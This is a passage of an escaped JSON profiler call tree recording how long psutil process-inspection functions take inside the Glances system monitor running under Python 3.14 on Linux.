\"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001917,\"attributes\": {\"l718\": 0.00191694399836706},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001917,\"attributes\": {\"l682\": 0.00191694399836706},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001917,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001917,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.029993,\"attributes\": {\"cProcess\": 0.029992875999596436, \"l579\": 0.02199180599563988, \"l578\": 0.0020013079993077554, \"l572\": 0.005999762004648801},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.003992,\"attributes\": {\"cProcess\": 0.00399191900214646, \"l687\": 0.00199234600586351, \"l680\": 0.00199957299628295},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001992,\"attributes\": {\"cProcess\": 0.00199234600586351, \"l748\": 0.00199234600586351},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001992,\"attributes\": {\"cProcess\": 0.00199234600586351, \"l1593\": 0.00199234600586351},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001992,\"attributes\": {\"cProcess\": 0.00199234600586351, \"l1754\": 0.00199234600586351},\"children\": [{\"identifier\": \"_raise_if_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001646\",\"time\": 0.001992,\"attributes\": {\"cProcess\": 0.00199234600586351, \"l1647\": 0.00199234600586351},\"children\": [{\"identifier\": \"_is_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001630\",\"time\": 0.001992,\"attributes\": {\"cProcess\": 0.00199234600586351, \"l1638\": 0.00199234600586351},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001992,\"attributes\": {\"l730\": 0.00199234600586351},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001992,\"attributes\": {\"l718\": 0.00199234600586351},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001992,\"attributes\": {\"l682\": 0.00199234600586351},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001992,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00199957299628295, \"l1593\": 0.00199957299628295},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00199957299628295, \"l1740\": 0.00199957299628295},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00199957299628295, \"l1593\": 0.00199957299628295},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00199957299628295, \"l382\": 0.00199957299628295},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00199957299628295, \"l1683\": 0.00199957299628295},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.00199957299628295},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l719\": 0.00199957299628295},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"username\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000757\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000779000809416, \"l768\": 0.002000779000809416},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019986010011052713, \"l680\": 0.0019986010011052713},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019986010011052713, \"l1593\": 0.0019986010011052713},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019986010011052713, \"l1740\": 0.0019986010011052713},\"children\": [{\"identifier\": \"decode\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000757\",\"time\": 0.001999,\"attributes\": {\"l758\": 0.0019986010011052713},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"nice\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000791\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996389964944683, \"l794\": 0.0019996389964944683},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020031669992022216, \"l939\": 0.0020031669992022216},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020031669992022216, \"l1593\": 0.0020031669992022216},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020031669992022216, \"l2052\": 0.0020031669992022216},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020031669992022216, \"l1593\": 0.0020031669992022216},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020031669992022216, \"l382\": 0.0020031669992022216},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020031669992022216, \"l1719\": 0.0020031669992022216},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019976340045104735, \"l382\": 0.0019976340045104735},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019976340045104735, \"l1138\": 0.0019976340045104735},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019976340045104735, \"l1593\": 0.0019976340045104735},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997706000111066, \"l687\": 0.001997706000111066},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997706000111066, \"l748\": 0.001997706000111066},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997706000111066, \"l1593\": 0.001997706000111066},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997706000111066, \"l1754\": 0.001997706000111066},\"children\": [{\"identifier\": \"_raise_if_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001646\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997706000111066, \"l1647\": 0.001997706000111066},\"children\": [{\"identifier\": \"_is_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001630\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997706000111066, \"l1638\": 0.001997706000111066},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001998,\"attributes\": {\"l730\": 0.001997706000111066},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002085995627567, \"l748\": 0.002002085995627567},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002085995627567, \"l1593\": 0.002002085995627567},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002085995627567, \"l1754\": 0.002002085995627567},\"children\": [{\"identifier\": \"_raise_if_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001646\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002085995627567, \"l1647\": 0.002002085995627567},\"children\": [{\"identifier\": \"_is_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001630\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002085995627567, \"l1638\": 0.002002085995627567},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002002,\"attributes\": {\"l730\": 0.002002085995627567},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002002,\"attributes\": {\"l718\": 0.002002085995627567},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.002002085995627567},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001999,\"attributes\": {\"c_GeneratorContextManager\": 0.0019990110013168305, \"l148\": 0.0019990110013168305},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990110013168305, \"l542\": 0.0019990110013168305},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001084001676645, \"l748\": 0.002001084001676645},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.004001,\"attributes\": {\"c_GeneratorContextManager\": 0.00400075100333197, \"l148\": 0.00400075100333197},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.00400075100333197, \"l542\": 0.0019979909993708134, \"l543\": 0.002002760003961157},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"oneshot_exit\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001732\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002002760003961157, \"l1735\": 0.002002760003961157},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.002003,\"attributes\": {\"l404\": 0.002002760003961157},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199919099395629, \"l1079\": 0.00199919099395629},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199919099395629, \"l1593\": 0.00199919099395629},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199919099395629, \"l1835\": 0.00199919099395629},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001532\",\"time\": 0.002000,\"attributes\": {\"l1533\": 0.001999675005208701},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999675005208701, \"l314\": 0.001999675005208701},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999675005208701, \"l347\": 0.001999675005208701},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999675005208701, \"l394\": 0.001999675005208701},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.005999934997817036, \"l579\": 0.005999934997817036},\"children\": [{\"identifier\": \"memory_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001156\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020000939985038713, \"l1178\": 0.0020000939985038713},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00199976000294555, \"l1064\": 0.00199976000294555},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020000809963676147, \"l748\": 0.0020000809963676147},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020000809963676147, \"l1593\": 0.0020000809963676147},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020000809963676147, \"l1772\": 0.0020000809963676147},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001532\",\"time\": 0.002002,\"attributes\": {\"l1533\": 0.0020016720009152777},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020016720009152777, \"l314\": 0.0020016720009152777},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020016720009152777, \"l341\": 0.0020016720009152777},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.013999,\"attributes\": {\"cProcess\": 0.013999344999319874, \"l579\": 0.013999344999319874},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989439970231615, \"l939\": 0.0019989439970231615},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989439970231615, \"l1593\": 0.0019989439970231615},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989439970231615, \"l2053\": 0.0019989439970231615},\"children\": [{\"identifier\": \"Pattern.findall\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000362001534086, \"l748\": 0.004000362001534086},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000362001534086, \"l1593\": 0.004000362001534086},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000362001534086, \"l1750\": 0.002002166998863686, \"l1754\": 0.0019981950026704},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.002002,\"attributes\": {\"l692\": 0.002002166998863686},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_raise_if_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001646\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019981950026704, \"l1647\": 0.0019981950026704},\"children\": [{\"identifier\": \"_is_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001630\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019981950026704, \"l1638\": 0.0019981950026704},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001998,\"attributes\": {\"l730\": 0.0019981950026704},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001998,\"attributes\": {\"l718\": 0.0019981950026704},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001998,\"attributes\": {\"l682\": 0.0019981950026704},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002551,\"attributes\": {\"cProcess\": 0.0025514829976600595, \"l382\": 0.0025514829976600595},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002551,\"attributes\": {\"cProcess\": 0.0025514829976600595, \"l1138\": 0.0025514829976600595},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002551,\"attributes\": {\"cProcess\": 0.0025514829976600595, \"l1593\": 0.0025514829976600595},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002551,\"attributes\": {\"cProcess\": 0.0025514829976600595, \"l1880\": 0.0025514829976600595},\"children\": [{\"identifier\": \"BufferedReader.readline\\u0000<built-in>\\u00000\",\"time\": 0.002551,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002551,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.001450,\"attributes\": {\"cProcess\": 0.0014498050004476681, \"l1064\": 0.0014498050004476681},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.001450,\"attributes\": {\"l1682\": 0.0014498050004476681},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.001450,\"attributes\": {\"l538\": 0.0014498050004476681},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.001450,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001450,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019995410038973205, \"l680\": 0.0019995410038973205},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019995410038973205, \"l1593\": 0.0019995410038973205},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019995410038973205, \"l1740\": 0.0019995410038973205},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019995410038973205, \"l1593\": 0.0019995410038973205},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019995410038973205, \"l382\": 0.0019995410038973205},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019995410038973205, \"l1683\": 0.0019995410038973205},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.0019995410038973205},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l719\": 0.0019995410038973205},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992099987575784, \"l382\": 0.0019992099987575784},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992099987575784, \"l1127\": 0.0019992099987575784},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992099987575784, \"l1593\": 0.0019992099987575784},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.008000433001143392, \"l639\": 0.008000433001143392},\"children\": 